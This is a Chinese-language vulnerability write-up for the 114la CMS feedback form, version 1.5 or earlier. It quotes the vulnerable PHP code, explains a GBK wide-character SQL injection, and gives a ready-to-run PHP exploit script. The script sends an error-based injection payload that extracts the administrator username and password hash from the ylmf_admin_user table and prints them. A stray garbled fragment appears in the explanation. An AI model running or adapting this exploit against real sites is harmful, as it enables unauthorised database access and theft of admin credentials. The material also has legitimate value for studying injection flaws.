漏洞文件feedback/feedback.php
影响版本<=1.5
$username = empty($_POST['username']) ? '' : strip_tags(iconv('UTF-8', 'GBK', $_POST['username']));
    $email = (isset($_POST['email'])) ? strip_tags(iconv('UTF-8', 'GBK', $_POST['email'])) : '';
    $content = (isset($_POST['content'])) ? trim(iconv('UTF-8', 'GBK', $_POST['content'])) : '';
    (empty($content)) && $error_msg .= '，意见及建议';

    if (!empty($error_msg))
    {
        throw new Exception($error_msg, 11);
    }

    $content = htmlspecialchars($content, ENT_QUOTES);
    if (strlen($content) > 600 || strlen($content) < 40)
    {
        throw new Exception('请将您的描述控制在  20 - 300 字，更多内容请您分次提交。', 1);
    }

    // 验证次数
    $old_cookie = (isset($_COOKIE['fdnum'])) ? (int)$_COOKIE['fdnum'] : 0;
    if ($old_cookie >= SUBMIT_ONE_DAY)
    {
        throw new Exception('抱歉，24 小时内您只能提交  ' . SUBMIT_ONE_DAY . ' 次反馈信息。谢谢合作！', 2);
    }
    $old_cookie++;

    if (false === app_db::insert('ylmf_feedback', array('username', 'email', 'content', 'add_time'),
                                                 array($username, $email, $content, time())))
    {
        throw new Exception('抱歉，信息提交失败，请重试。', 1);
    }
    else
    {
        // 记录提交次数
        if ($old_cookie > SUBMIT_ONE_DAY || !isset($_COOKIE['fdstime']) || $_COOKIE['fdstime'] < 1)
        {
            setcookie('dfstime', time(), time() + 86400);
            setcookie('fdnum', $old_cookie, time() + 86400);
        }
        else
        {
            setcookie('fdnum', $old_cookie, time() + 86400 - (time() - $_COOKIE['fdstime']));
        }

        throw new Exception('<div class="success">提交成功，感谢您的反馈！<a href="'. URL .'/">返回首页www.2cto.com</a></div>', 3);
        unset($username, $email, $content);
    }
复制代码
$username、$email、$content强制转换GBK编码但是均未过滤直接insert   构造UTF8宽字符形成宽字符注入- 低调求发展( \  s& v1 u: u0 f0 r

EXP
<?php
$sbcopyright='
----------------------------------------
114la feedback injection Vul Exploit
By xZL
Team: oke
2011.04.02

Usage: php '.$argv[0].' host /path
Example: php '.$argv[0].' 127.0.0.1 /
----------------------------------------
';
if ($argc < 3) {
print_r($sbcopyright);
die();
}

ob_start();
$url = $argv[1];
$path= $argv[2];

$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "username=0kee%E7%B8%97'&email=,0,(select%201%20from%20(select%20count(*),concat((SELECT%20concat(name,0x5f,password)%20FROM%20ylmf_admin_user limit 0,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a),2)#&content=~~~~~this is a test from 0kee security team~~~~~";

fwrite($sock, "POST $path/feedback/feedback.php HTTP/1.1\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "Referer: http://$url/#M\r\n");
fwrite($sock, "Accept-Language: zh-cn\r\n");
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
fwrite($sock, "User-Agent: Mozilla\r\n");
fwrite($sock, "Host: $url\r\n");
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
fwrite($sock, "Connection: Keep-Alive\r\n");
fwrite($sock, "Cache-Control: no-cache\r\n");
fwrite($sock, "Cookie:ASPSESSIONIDASDRRBRA=MFILAMMAENMDGAPJLLKPEAON\r\n\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
     $headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
     $body .= fgets($sock, 4096);

fclose($sock);

if (strpos($body, 'Duplicate entry') !== false) {
preg_match('/Duplicate entry \'(.*)1\'/', $body, $arr);
$result=explode("_",$arr[1]);
print_r("Exploit Success! \nusername:".$result[0]."\npassword:".$result[1]."\nGood Luck!");
}else{
print_r("Exploit Failed! \n");
}

ob_end_flush();
?>